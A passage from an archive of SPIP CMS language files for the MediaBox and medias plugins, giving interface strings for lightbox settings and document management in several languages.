'label_choix_transition_elastic' => 'مطاط',
'label_choix_transition_fade' => 'دمج متسلسل',
'label_choix_transition_none' => 'بدون تأثيرات انتقال',
'label_maxheight' => 'الحد الأقصى للارتفاع (% أو نقاط)',
'label_maxwidth' => 'الحد الأقصى للعرض (% أو نقاط)',
'label_minheight' => 'الحد الأدنى للارتفاع (% أو نقاط)',
'label_minwidth' => 'الحد الأدنى للعرض (% أو نقاط)',
'label_opacite' => 'شفافية الخلفية',
'label_selecteur_commun' => 'عموماً',
'label_selecteur_galerie' => 'في صالة العرض',
'label_skin' => 'الكساء البصري',
'label_slideshow_speed' => 'فترة عرض الصور خلال العرض المتواصل (ألف من الثانية)',
'label_speed' => 'سرعة الانتقال (ألف من الثانية)',
'label_splash' => 'شاشة البداية',
'label_splash_url' => 'عنوان شاشة البداية',
'label_traiter_toutes_images' => 'الصور',
'label_transition' => 'الانتقال بين عرضين',
// T
'titre_menu_box' => 'صندوق الفرجة',
'titre_page_configurer_box' => 'إعداد صندوق الفرجة'
);
?>
mediabox_fr_fem.php 0000666 00000004304 15252255251 0010374 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Réinitialiser',
'boxstr_close' => 'Fermer',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Suivant',
'boxstr_previous' => 'Précédent',
'boxstr_slideshowStart' => 'Diaporama',
'boxstr_slideshowStop' => 'Arrêter',
'boxstr_zoom' => 'Zoom',
// E
'explication_selecteur' => 'Indiquez la cible des éléments qui déclencheront la boîte. (Expression CSS ou étendue jQuery)',
'explication_selecteur_galerie' => 'Indiquez la cible des éléments à regrouper en galerie. (Expression CSS ou étendue jQuery)',
'explication_splash_url' => 'Indiquez l’url du média à afficher automatiquement dans une boîte lors de la première visite sur le site public.',
'explication_traiter_toutes_images' => 'Insérer une boîte sur toutes les images ?',
// L
'label_active' => 'Activer la Boîte Multimédia dans le site public',
'label_apparence' => 'Apparence',
'label_aucun_style' => 'N’insérer aucun habillage par défaut',
'label_choix_transition_elastic' => 'Élastique',
'label_choix_transition_fade' => 'Fondu enchaîné',
'label_choix_transition_none' => 'Sans effet de transition',
'label_maxheight' => 'Hauteur Maxi (% ou px)',
'label_maxwidth' => 'Largeur Maxi (% ou px)',
'label_minheight' => 'Hauteur Mini (% ou px)',
'label_minwidth' => 'Largeur Mini (% ou px)',
'label_opacite' => 'Opacité du fond',
'label_selecteur_commun' => 'En général',
'label_selecteur_galerie' => 'En galerie',
'label_skin' => 'Habillage visuel',
'label_slideshow_speed' => 'Temps d’exposition des photos du diaporama (ms)',
'label_speed' => 'Vitesse de transition (ms)',
'label_splash' => 'Splash Boîte',
'label_splash_url' => 'URL à afficher',
'label_traiter_toutes_images' => 'Images',
'label_transition' => 'Transition entre deux affichages',
// T
'titre_menu_box' => 'Boîte Multimédia',
'titre_page_configurer_box' => 'Configuration de la Boîte multimédia'
);
?>
paquet-mediabox_es.php 0000666 00000002250 15252255251 0011040 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'Por defecto, todos los enlaces definidos sobre imágenes (con un atributo tipo que describa el mime/type de la imafen) así como los enlaces con la clase <code>.mediabox</code> son enriquecidos por la caja multimedia.
Es posible configurar cada enlace, caso por caso, con clases adicionales:
-* <code>boxIframe</code> permite abrir el enlace en una caja en un iframe ;
-* <code>boxWidth-350px</code> permite definir un ancho de 350px para la caja;
-* <code>boxHeight-90pc</code> perite definir un alto de 90% para la caja.
Un panel de configuración permite modificar tanto las especificaciones generales como el aspecto de la caja, a partir de un conjunto de opciones disponibles.
Este plugin funciona en los esqueletos que incluyen la baliza <code>#INSERT_HEAD</code>',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Caja multimedia'
);
?>
paquet-mediabox_it.php 0000666 00000002305 15252255251 0011046 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'Per impostazione predefinita, tutti i collegamenti alle immagini (con un attributo che descrive il tipo mime/tipo di foto) e
collegamenti con il <code> classe CSS. mediabox </ code> sono arricchite da box multimediale.
È possibile configurare ogni collegamento in una caso per caso con le classi aggiuntive:
- * <code> BoxIframe </ code> permette di aprire il collegamento nella casella iframe;
- * <code> Boxwidth-350 pixel </ code> consente di specificare una larghezza di 350 pixel per il box;
- * <code> BoxHeight-90pc </ code> consente di specificare una altezza di 90% per il box
Un pannello di configurazione permette di modificare le impostazioni generali a proprio piacimento, e l’aspetto tra le skin disponibili.
Questo plugin funziona su scheletri che hanno la <code> INSERT_HEAD # </ code> tag.',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Media box'
);
?>
paquet-mediabox_pt.php 0000666 00000002177 15252255251 0011064 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'Por defeito, todas as ligações a imagens (com um atributo tipo que descreva o mime/type da imagem) e as ligações com a classe CSS <code>.mediabox</code> são enriquecidas pela caixa multimédia.
É possível configurar cada ligação, caso a caso, com classes adicionais:
-* <code>boxIframe</code> permite abrir uma ligação numa caixa iframe ;
-* <code>boxWidth-350px</code> permite especificar uma largura de 350px para a caixa ;
-* <code>boxHeight-90pc</code> permite especificar uma altura de 90% para a caixa.
Um painel de configuração permite-lhe editar as suas preferências gerais, e o aspecto da caixa, de entre as alternativas disponíveis.
Este plugin funciona em modelos que tenham a tag <code>#INSERT_HEAD</code>',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Media box'
);
?>
mediabox_nl.php 0000666 00000004154 15252255251 0007552 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Resetten',
'boxstr_close' => 'Sluiten',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Volgende',
'boxstr_previous' => 'Vorige',
'boxstr_slideshowStart' => 'Diavoorstelling',
'boxstr_slideshowStop' => 'Stoppen',
'boxstr_zoom' => 'Zoom',
// E
'explication_selecteur' => 'Geef de doelelementen die het box zullen activeren. (CSS uitdrukking of jQuery omvang)',
'explication_selecteur_galerie' => 'Geef de doelelementen die zich in een galerij moeten bevinden (Css uitdrukking of JQuery omvang)',
'explication_splash_url' => 'Geef het url van de media te tonen in een box bij een eerste bezoek op het site',
'explication_traiter_toutes_images' => 'Een box op alle beelden instellen ?',
// L
'label_active' => 'Mediabox activeren op het openbare site',
'label_apparence' => 'Verschijning',
'label_aucun_style' => 'Geen standaard stijl insteken',
'label_choix_transition_elastic' => 'Elastisch',
'label_choix_transition_fade' => 'Cross fading',
'label_choix_transition_none' => 'Zonder overgangseffect',
'label_maxheight' => 'Max Hoogte (% of px)',
'label_maxwidth' => 'Max breedte (% of px)',
'label_minheight' => 'Min Hoogte (% of px)',
'label_minwidth' => 'Min breedte (% of px)',
'label_opacite' => 'Gronddonkerheide ',
'label_selecteur_commun' => 'In het algemeen',
'label_selecteur_galerie' => 'In galerij ',
'label_skin' => 'Verschijning van de knopjes',
'label_slideshow_speed' => 'Toontijd van de afbeeldingen in de diavoorstelling (ms)',
'label_speed' => '
Overgangssnelheid (ms)',
'label_splash' => 'Splash doos',
'label_splash_url' => 'URL te tonen',
'label_traiter_toutes_images' => 'Beelden',
'label_transition' => 'Overgang tussen twee overzichten',
// T
'titre_menu_box' => 'Multimedia Box',
'titre_page_configurer_box' => 'Configuratie van het Multimedia Box'
);
?>
mediabox_sk.php 0000666 00000004355 15252255251 0007561 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Obnoviť',
'boxstr_close' => 'Zatvoriť',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Ďalšia',
'boxstr_previous' => 'Predchádzajúca',
'boxstr_slideshowStart' => 'Prezentácia',
'boxstr_slideshowStop' => 'Zastaviť',
'boxstr_zoom' => 'Lupa',
// E
'explication_selecteur' => 'Uveďte cieľový prvok, ktorý bude ovládať box. (jQuery alebo výraz CSS)',
'explication_selecteur_galerie' => 'Uveďte cieľové prvky, ktoré majú byť zaradené do galérie. (jQuery alebo výraz CSS)',
'explication_splash_url' => 'Zadajte adresu média, ktoré sa má automaticky zobraziť v boxe pri prvej návšteve verejne prístupnej stránky.',
'explication_traiter_toutes_images' => 'Urobiť rám okolo všetkých obrázkov?',
// L
'label_active' => 'Aktivovať Multimediálny box na verejne prístupnej stránke',
'label_apparence' => 'Vzhľad',
'label_aucun_style' => 'Nepoužívať rám ako predvolenú možnosť',
'label_choix_transition_elastic' => 'Elastický',
'label_choix_transition_fade' => 'Prelínačka',
'label_choix_transition_none' => 'Bez efektu prechodu',
'label_maxheight' => 'Maximálna výška (% alebo px)',
'label_maxwidth' => 'Maximálna šírka (% alebo px)',
'label_minheight' => 'Minimálna výška (% alebo px)',
'label_minwidth' => 'Minimálna šírka (% alebo px)',
'label_opacite' => 'Priehľadnosť pozadia',
'label_selecteur_commun' => 'Všeobecné',
'label_selecteur_galerie' => 'V režime Galéria',
'label_skin' => 'Vzhľad',
'label_slideshow_speed' => 'Trvanie zobrazenia fotografií v prezentácii (v ms)',
'label_speed' => 'Rýchlosť prechodu (v ms)',
'label_splash' => 'Úvodná obrazovka',
'label_splash_url' => 'Adresa, ktorá sa má zobraziť',
'label_traiter_toutes_images' => 'Obrázky',
'label_transition' => 'Prechod medzi dvoma zobrazeniami',
// T
'titre_menu_box' => 'Multimediálny box',
'titre_page_configurer_box' => 'Nastavenia Multimediálneho boxu'
);
?>
mediabox_es.php 0000666 00000004222 15252255251 0007544 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Reinicializar',
'boxstr_close' => 'Cerrar',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Siguiente',
'boxstr_previous' => 'Anterior',
'boxstr_slideshowStart' => 'Presentación',
'boxstr_slideshowStop' => 'Detener',
'boxstr_zoom' => 'Zoom',
// E
'explication_selecteur' => 'Indica los selectores que activarán la caja (Expresión CSS o selector jQuery)',
'explication_selecteur_galerie' => 'Indica los selectores que activarán la caja en forma de galería. (Expresión CSS o selector jQuery)',
'explication_splash_url' => 'Indica la URL de un contenido multimedia que se mostrará en una caja la primera vez que un visitante accede al sitio público',
'explication_traiter_toutes_images' => '¿Insertar una caja en todas las imágenes?',
// L
'label_active' => 'Activar mediabox en el espacio público',
'label_apparence' => 'Apariencia',
'label_aucun_style' => 'No usar ningún estilo por omisión',
'label_choix_transition_elastic' => 'Elástico',
'label_choix_transition_fade' => 'transición progresiva',
'label_choix_transition_none' => 'Ninguno',
'label_maxheight' => 'Alto máximo (% o px)',
'label_maxwidth' => 'Ancho máximo (% o px)',
'label_minheight' => 'Alto minimo (% o px)',
'label_minwidth' => 'Ancho minimo (% o px)',
'label_opacite' => 'Opacidad de fondo',
'label_selecteur_commun' => 'Selector general',
'label_selecteur_galerie' => 'Selector de galería',
'label_skin' => 'Estilo visual',
'label_slideshow_speed' => 'Duración de las diapositivas (ms)',
'label_speed' => 'Velocidad de transición (ms)',
'label_splash' => 'Caja Splash',
'label_splash_url' => 'URL del contenido',
'label_traiter_toutes_images' => 'Imágenes',
'label_transition' => 'Efecto de transición',
// T
'titre_menu_box' => 'Caja Multimedia',
'titre_page_configurer_box' => 'Configuracíon de la caja multimedia'
);
?>
paquet-mediabox_en.php 0000666 00000002111 15252255251 0011027 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'By default, all links to pictures (with a type attribute describing the mime/type of the picture) and
links with the CSS class <code>.mediabox</code> are enriched by multimedia box.
You can configure each link on a case by case basis with additional classes:
-* <code>boxIframe</code> enables to open link in iframe box;
-* <code>boxWidth-350px</code> enables to specify a width of 350px for the box;
-* <code>boxHeight-90pc</code> enables to specify a height of 90% for the box
A configuration panel lets you edit the general settings to your liking, and the appearance of the box among the available skins.
This plugin works on skeletons which have the <code>#INSERT_HEAD</code> tag.',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Media box'
);
?>
paquet-mediabox_ar.php 0000666 00000002572 15252255251 0011042 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'افتراضياً، يتم إضفاء صندوق الفرجة على كل الوصلات الى الصور (لها نوع خاصية يصف mime/type الصورة) إضافة الى الوصلات المزودة بنمط <code>.mediabox</code>.
من الممكن إعداد كل وصلة على حدة من خلال أنماط إضافية:
-* يتيح <code>boxIframe</code> فتح الوصلة في إطار iframe
-* يتيج <code>boxWidth-350px</code> تحديد عرض ٣٥٠ نقطة للإطار
-* يتيح <code>boxHeight-90pc</code> تحديد ارتفاع ٩٠٪ للإطار
وتتيح لوحة تحكم تعديل الإعدادات العامة حسب الرغبة كما تتيح اختيار شكل الصندوق من بين الأشكال المتاحة.
يعمل هذا الملحق في الصفحات النموذجية التي تحتوي على علامة <code>#INSERT_HEAD</code>',
'mediabox_nom' => 'صندوق الفرجة',
'mediabox_slogan' => 'صندوق الفرجة'
);
?>
mediabox_pt.php 0000666 00000004156 15252255251 0007566 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Reiniciar',
'boxstr_close' => 'Fechar',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Seguinte',
'boxstr_previous' => 'Anterior',
'boxstr_slideshowStart' => 'Slideshow',
'boxstr_slideshowStop' => 'Parar',
'boxstr_zoom' => 'Zoom',
// E
'explication_selecteur' => 'Indique o elemento alvo que irá desencadear a caixa. (Expressão CSS ou jQuery)',
'explication_selecteur_galerie' => 'Indique os elementos alvo para agrupar numa galeria. (Expressão CSS ou jQuery)',
'explication_splash_url' => 'Indique o URL do conteúdo multimédia a exibir numa caixa na primeira visita ao sítio público.',
'explication_traiter_toutes_images' => 'Inserir uma caixa em volta de todas as imagens?',
// L
'label_active' => 'Activar a mediabox no sítio público',
'label_apparence' => 'Aspecto',
'label_aucun_style' => 'Não usar nenhuma moldura por defeito',
'label_choix_transition_elastic' => 'Elástico',
'label_choix_transition_fade' => 'Desvanecimento',
'label_choix_transition_none' => 'Sem efeito de transição',
'label_maxheight' => 'Altura máxima (% ou px)',
'label_maxwidth' => 'Largura máxima (% ou px)',
'label_minheight' => 'Altura mínima (% ou px)',
'label_minwidth' => 'Largura mínima (% ou px)',
'label_opacite' => 'Opacidade do fundo',
'label_selecteur_commun' => 'Em geral',
'label_selecteur_galerie' => 'Em modo galeria',
'label_skin' => 'Aspecto visual',
'label_slideshow_speed' => 'Tempo de exibição das fotos do slideshow (ms)',
'label_speed' => 'Velocidade de transição (ms)',
'label_splash' => 'Caixa Splash ',
'label_splash_url' => 'URL a exibir',
'label_traiter_toutes_images' => 'Imagens',
'label_transition' => 'Transição entre duas visualizações',
// T
'titre_menu_box' => 'Media Box',
'titre_page_configurer_box' => 'Configuração da Media Box'
);
?>
paquet-mediabox_nl.php 0000666 00000002160 15252255251 0011042 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'Standaard worden alle links naar beelden (met een type attribuut beschrijving van de beeld mime/type) en de links met een class <code>.mediabox </ code> verrijkt door de mediabox.
Het is mogelijk om elke link telkens met extra klassen te configureren :
- * <code>boxIframe</code> om de link in een iframe doos te tonen;
- * <code>boxWidth-350px</code> om een boxbreedte van 350px te specificeren;
- <code>boxHeight-90pc</code> om een hoogte van 90% voor de box te specificeren.
In een configuratiepaneel kunt u de algemene instellingen voor uw gemak bewerken, en ook het uiterlijk van de doos vervangen uit de beschikbare skins.
Deze plugin werkt op de skeletten die de <code>#INSERT_HEAD</ code> SPIP tag gebruiken.',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Multimedia Box'
);
?>
paquet-mediabox_sk.php 0000666 00000002151 15252255251 0011046 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'Podľa predvolených nastavení všetky odkazy k obrázkom (s typom v parametre, ktorý uvádza mime/typ obrázka) a odkazy v triede <code>.mediabox</code> obohacuje multimediálny box.
Každý odkaz môžete osobitne nastaviť pomocou doplnkových tried:
-* <code>boxIframe</code> umožňuje otvárať odkaz v ráme iframe,
-* <code>boxWidth-350px</code> umožňuje definovať šírku poľa 350px,
-* <code>boxHeight-90pc</code> umožňuje zadať výšku poľa 90%.
Ovládací panel vám umožňuje všeobecné nastavenia podľa vašich želaní vybrať dizajn boxu z dostupných vzhľadov.
Tento zásuvný modul spolupracuje so šablónami, ktoré obsahujú tag <code>#INSERT_HEAD</code>',
'mediabox_nom' => 'Multimediálny box',
'mediabox_slogan' => 'Multimediálny box'
);
?>
mediabox_it.php 0000666 00000004241 15252255251 0007552 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Reinizializza',
'boxstr_close' => 'Chiudi',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Prossimo',
'boxstr_previous' => 'Precedente',
'boxstr_slideshowStart' => 'Presentazione',
'boxstr_slideshowStop' => 'Stop',
'boxstr_zoom' => 'Zoom',
// E
'explication_selecteur' => 'Specificare l’elemento target che attiverà il box. (CSS expression o jQuery)',
'explication_selecteur_galerie' => 'Specificare l’elemento target da da raggruppare insieme nella galleria. (jQuery o CSS expression)',
'explication_splash_url' => 'Inserisci l’URL dei media da visualizzare automaticamente in un box alla prima visita del sito pubblico.',
'explication_traiter_toutes_images' => 'Inserire un box attorno a tutte le immagini?',
// L
'label_active' => 'Attivare il mediabox nel sito pubblico',
'label_apparence' => 'Apparenza',
'label_aucun_style' => 'Non usare una cornice per impostazione predefinita',
'label_choix_transition_elastic' => 'Elastico',
'label_choix_transition_fade' => 'Sfuma',
'label_choix_transition_none' => 'Senza effetti di transizione',
'label_maxheight' => 'Altezza massima (% o px)',
'label_maxwidth' => 'Larghezza massima (% o px)',
'label_minheight' => 'Altezza minima (% o px)',
'label_minwidth' => 'Larghezza minima (% o px)',
'label_opacite' => 'Opacità dello sfondo',
'label_selecteur_commun' => 'In generale',
'label_selecteur_galerie' => 'Nella galleria',
'label_skin' => 'Aspetto grafico',
'label_slideshow_speed' => 'Tempo di esposizione delle immagini nella presentazione (ms)',
'label_speed' => 'Velocità di transizione (ms)',
'label_splash' => 'Splash Box',
'label_splash_url' => 'URL da mostrare',
'label_traiter_toutes_images' => 'Immagini',
'label_transition' => 'Transizione tra due viste',
// T
'titre_menu_box' => 'Media Box',
'titre_page_configurer_box' => 'Configurazione del Media Box'
);
?>
paquet-mediabox_fr_fem.php 0000666 00000002346 15252255251 0011675 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'Par défaut, tous les liens vers des images (avec un attribut type décrivant le mime/type de l’image) ainsi que les liens avec la classe <code>.mediabox</code> sont enrichis par la boîte multimédia.
Il est possible de configurer chaque lien au cas par cas avec des classes supplémentaires :
-* <code>boxIframe</code> permet de demander à ouvrir le lien dans une boîte en iframe ;
-* <code>boxWidth-350px</code> permet de spécifier une largeur de 350px pour la boîte ;
-* <code>boxHeight-90pc</code> permet de spécifier une hauteur de 90% pour la boîte.
Un panneau de configuration vous permet de modifier les réglages généraux à votre convenance, ainsi que l’aspect de la boîte parmi les habillages disponibles.
Ce plugin fonctionne sur les squelettes disposant de la balise <code>#INSERT_HEAD</code>',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Boîte multimédia'
);
?>
medias_it.php 0000666 00000021404 15252255273 0007230 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Nessun suono',
'aucun_document' => 'Nessun documento',
'aucun_file' => 'Nessun documento',
'aucun_image' => 'Nessuna immagine',
'aucun_video' => 'Nessun video',
'aucune_utilisation' => 'Questo documento non è utilizzato',
'aucune_vignette' => 'Nessuna miniatura',
// B
'bouton_ajouter_document' => 'Aggiungi un documento',
'bouton_ajouter_image' => 'Aggiungi un’immagine',
'bouton_ajouter_image_document' => 'Aggiungi un’immagine o un documento',
'bouton_attacher_document' => 'Allega',
'bouton_copier_local' => 'Copia sul sito',
'bouton_download_depuis' => 'da:',
'bouton_download_local' => 'mio computer',
'bouton_download_par_ftp' => 'il server',
'bouton_download_par_mediatheque' => 'media library',
'bouton_download_sur_le_web' => 'internet',
'bouton_enlever_document' => 'Scollega',
'bouton_enlever_supprimer_document' => 'Cancella',
'bouton_enlever_supprimer_document_confirmation' => 'Sei sicuro di voler cancellare il documento?',
'bouton_modifier_document' => 'Modifica',
'bouton_parcourir' => 'Sfoglia',
'bouton_refresh_document' => 'Aggiorna il documento',
'bouton_remplacer_document' => 'Sostituisci il documento',
'bouton_remplacer_image' => 'Sostituisci l’immagine',
'bouton_remplacer_image_document' => 'Sostituisci con un’immagine o un documento',
'bouton_supprimer' => 'Cancella',
'bouton_supprimer_tous_orphelins' => 'Cancella tutti i non utilizzati',
'bouton_supprimer_tous_orphelins_confirmation' => 'Vuoi veramente cancellare @nb@ documenti non utilizzati?',
'bouton_upload' => 'Carica',
// D
'des_audios' => '@nb@ suoni',
'des_documents' => '@nb@ documenti',
'des_files' => '@nb@ documenti',
'des_images' => '@nb@ immagini',
'des_utilisations' => '@nb@ utilizzazioni',
'des_videos' => '@nb@ video',
'descriptif' => 'Descrizione',
'document_attache_succes' => 'Il documento è stato aggiunto con successo',
'document_copie_locale_succes' => 'Il documento è stato copiato con successo nel sito',
'document_installe_succes' => 'Il file è stato caricato con successo',
'document_vu' => 'Inserisci nel testo',
'documents' => 'Media library',
'documents_brises' => 'Corrotto',
'documents_distants' => 'Remoto',
'documents_locaux' => 'Locale',
'documents_non_publies' => 'Non pubblicato',
'documents_orphelins' => 'Non utilizzato',
'documents_publies' => 'Pubblicato',
'documents_tous' => 'Tutto',
'double_clic_inserer_doc' => 'Doppio clic qui per inserire la scorciatoia nel testo',
// E
'entree_dimensions' => 'Dimensioni:',
'entree_titre_document' => 'Titolo del documento:',
'entree_titre_image' => 'Titolo dell’immagine:',
'erreur_aucun_document' => 'Il documento non esiste nella media library',
'erreur_aucun_fichier' => 'Nessun file è stato trovato',
'erreur_chemin_distant' => 'Il file remoto @nom@ non può essere trovato',
'erreur_chemin_ftp' => 'Il file indicato non è stato trovato nel server',
'erreur_copie_fichier' => 'Impossibile copiare il file @nom@',
'erreur_dossier_tmp_manquant' => 'La directory temporanea per scaricare il file è mancante',
'erreur_ecriture_fichier' => 'Errore scrivendo il file sul disco',
'erreur_format_fichier_image' => 'Il formato di @nom@ non è assimilabile a un’immagine',
'erreur_indiquez_un_fichier' => 'Specifica un file!',
'erreur_insertion_document_base' => 'Impossibile salvare il documento @fichier@ nel database',
'erreur_suppression_vignette' => 'Errore durante la cancellazione della miniatura',
'erreur_upload_type_interdit' => 'Il caricamento di file del tipo @nom@ non è consentito',
'erreur_upload_vignette' => 'Errore caricando la miniatura @nom@',
'erreurs' => '@nb@ errori',
'erreurs_voir' => 'Controlla gli @nb@ errori',
// F
'fichier_distant' => 'File remoto',
'fichier_manquant' => 'File mancante',
'fichier_modifie' => 'Il file è stato modificato. Clicca su pulsante Salva',
'format_date_incorrect' => 'La data o l’ora sono sbagliate',
// I
'icone_creer_document' => 'Aggiungi un documento',
'id' => 'ID',
'image_tourner_180' => 'Ruota 180°',
'image_tourner_droite' => 'Ruota 90° a destra',
'image_tourner_gauche' => 'Ruota 90° a sinistra',
'info_doc_max_poids' => 'Il documento deve necessariamente essere più piccolo di @maxi@ (il file è attualmente @actuel@).',
'info_document' => 'Documento',
'info_document_indisponible' => 'Questo documento non è disponibile',
'info_documents' => 'Documenti',
'info_gauche_numero_document' => 'DOCUMENTO NUMERO',
'info_hauteur' => 'Altezza',
'info_heure' => 'Ora',
'info_illustrations' => 'Illustrazioni',
'info_image_max_poids' => 'L’immagine deve essere necessariamente grande meno di @maxi@ (il file è @actuel@).',
'info_inclusion_directe' => 'Inclusione diretta:',
'info_inclusion_vignette' => 'Inclusione dell’immagine:',
'info_installer_tous_documents' => 'Installare tutti i documenti',
'info_largeur' => 'Larghezza',
'info_logo_max_taille' => 'I logo devono obbligatoriamente avere una dimensione inferiore a @maxi@ (questo file è di @actuel@).',
'info_modifier_document' => 'Modifica il documento',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Mettere in repertorio un documento su Internet:',
'info_sans_vignette' => 'Nessuna miniatura',
'info_statut_document' => 'Il documento è:',
'info_telecharger' => 'Upload dal tuo computer:',
'infos' => 'Informazioni tecniche',
'item_autoriser_selectionner_date_en_ligne' => 'Permetti di modificare la data di ogni documento',
'item_non_autoriser_selectionner_date_en_ligne' => 'La data dei documenti è quella in cui sono stati aggiunti al sito.',
// L
'label_activer_document_objets' => 'Attiva il caricamento di documento per il contenuto:',
'label_apercu' => 'Anteprima',
'label_caracteristiques' => 'Specifiche',
'label_credits' => 'Crediti',
'label_fichier' => 'File',
'label_fichier_vignette' => 'Miniature',
'label_paginer_par' => 'Impaginare da :',
'label_parents' => 'Il documento è collegato a',
'label_refdoc_joindre' => 'Documento numero',
'lien_tout_enlever' => 'Rimuovi tutto',
'logo' => 'Logo',
// M
'media_audio' => 'Suono',
'media_file' => 'Altro',
'media_image' => 'Immagini',
'media_video' => 'Video',
'miniature_automatique_active' => 'SPIP genererà automaticamente le miniature dell’immagine',
// N
'nb_documents_attache_succes' => '@nb@ documenti sono stati aggiunti',
'nb_documents_installe_succes' => '@nb@ file sono stati caricati con successo',
// O
'objet_document' => 'Documento',
'objet_documents' => 'Documenti',
// P
'par_date' => 'Data',
'par_hauteur' => 'Altezza',
'par_id' => 'ID',
'par_largeur' => 'Larghezza',
'par_taille' => 'Peso',
'par_titre' => 'Titolo',
// T
'texte_documents_joints' => 'Puoi abilitare l’interfaccia per l’aggiunta di documenti (file di testo, fogli elettronici, immagini, file multimediali, ecc.) agli articoli, rubriche e altro. Questi file possono poi essere richiamati nel testo dell’articolo, o visualizzati separatamente.',
'texte_documents_joints_2' => 'Questa impostazione non impedisce il caricamento diretto di immagini nell’articolo ne l’inclusione di documenti nel testo del contenuto.',
'titre_documents_joints' => 'Documenti allegati',
'titre_page_documents_edit' => 'Modifica il documento: @titre@',
